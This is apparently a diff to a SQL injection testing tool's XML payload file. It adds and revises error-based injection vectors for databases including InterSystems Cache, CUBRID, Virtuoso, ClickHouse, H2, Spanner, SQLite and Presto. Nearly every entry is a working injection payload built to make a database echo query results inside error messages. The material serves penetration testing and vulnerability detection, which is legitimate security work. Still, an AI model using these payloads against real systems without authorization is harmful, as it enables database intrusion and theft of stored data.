<vector>OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
<payload>OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -804,9 +848,10 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
<!-- ZEROIFNULL (Vertica-exclusive) encloses the value-bearing NUMERIC cast: reflects on Vertica, fails to bind elsewhere -->
|
||||||
|
<vector>AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
<payload>AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -823,9 +868,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
<vector>OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
<payload>OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -835,6 +880,123 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>InterSystems Cache AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<!-- TO_POSIXTIME (Cache/IRIS-exclusive) encloses TO_DATE, whose "Invalid input" error echoes the evaluated value -->
|
||||||
|
<vector>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>InterSystems Cache</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>InterSystems Cache OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>InterSystems Cache</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>CUBRID AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<!-- INET_ATON echoes its evaluated arg on a bad address; error-confirms only on CUBRID (MySQL returns NULL, others lack it) -->
|
||||||
|
<vector>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Cubrid</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>CUBRID OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Cubrid</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Virtuoso AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<!-- bit_shift (Virtuoso-exclusive) encloses the value-bearing INTEGER cast: reflects on Virtuoso, fails to bind elsewhere -->
|
||||||
|
<vector>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Virtuoso</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Virtuoso OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Virtuoso</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
|
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -880,7 +1042,7 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
<vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||||
</request>
|
</request>
|
||||||
@@ -899,7 +1061,7 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
<vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||||
</request>
|
</request>
|
||||||
@@ -911,17 +1073,189 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<!--
|
<!-- getSetting backup (ClickHouse-exclusive, unlimited echo, funky/unlikely-filtered) -->
|
||||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
<test>
|
||||||
and SAP MaxDB - no known techniques at this time
|
<title>ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (getSetting)</title>
|
||||||
-->
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=getSetting('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=getSetting('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>ClickHouse</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>1</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<!-- ROTATELEFT (H2-exclusive) encloses the value-bearing INT cast: reflects on H2, fails to bind elsewhere -->
|
||||||
|
<vector>AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>H2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>H2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Spanner</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Spanner</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
<!-- SQLite: an invalid JSON path is the one construct that errors and echoes its argument (needs JSON1) -->
|
||||||
|
<test>
|
||||||
|
<title>SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SQLite</dbms>
|
||||||
|
<dbms_version>>= 3.9</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SQLite >= 3.9 OR error-based - WHERE or HAVING clause (JSON path)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SQLite</dbms>
|
||||||
|
<dbms_version>>= 3.9</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<!-- Presto/Trino: PARSE_DATA_SIZE is engine-exclusive and echoes its argument ('Invalid data size: X') -->
|
||||||
|
<test>
|
||||||
|
<title>Presto AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (PARSE_DATA_SIZE)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Presto</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Presto OR error-based - WHERE or HAVING clause (PARSE_DATA_SIZE)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Presto</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!-- End of error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
|
<!-- End of error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
|
||||||
|
|
||||||
<!-- Error-based tests - LIMIT clause -->
|
<!-- Error-based tests - LIMIT clause -->
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
|
<title>MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,4,5</clause>
|
<clause>1,2,3,4,5</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -987,7 +1321,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
|
<title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>5</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
@@ -1027,7 +1361,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 error-based - Parameter replace (FLOOR)</title>
|
<title>MySQL >= 5.0 error-based - Parameter replace (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>4</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
@@ -1181,7 +1515,7 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,3</clause>
|
<clause>1,3</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
<vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
<payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
@@ -1276,7 +1610,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
|
<title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>5</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -1316,7 +1650,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>4</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -1376,7 +1710,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -1458,7 +1792,7 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
<vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
<payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
@@ -1507,13 +1841,29 @@
|
|||||||
<dbms>IBM DB2</dbms>
|
<dbms>IBM DB2</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
<!--
|
|
||||||
TODO: if possible, add payload for SQLite, Microsoft Access
|
|
||||||
and SAP MaxDB - no known techniques at this time
|
|
||||||
-->
|
|
||||||
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
||||||
|
|
||||||
<!-- Error-based tests - stacking -->
|
<!-- Error-based tests - stacking -->
|
||||||
|
<test>
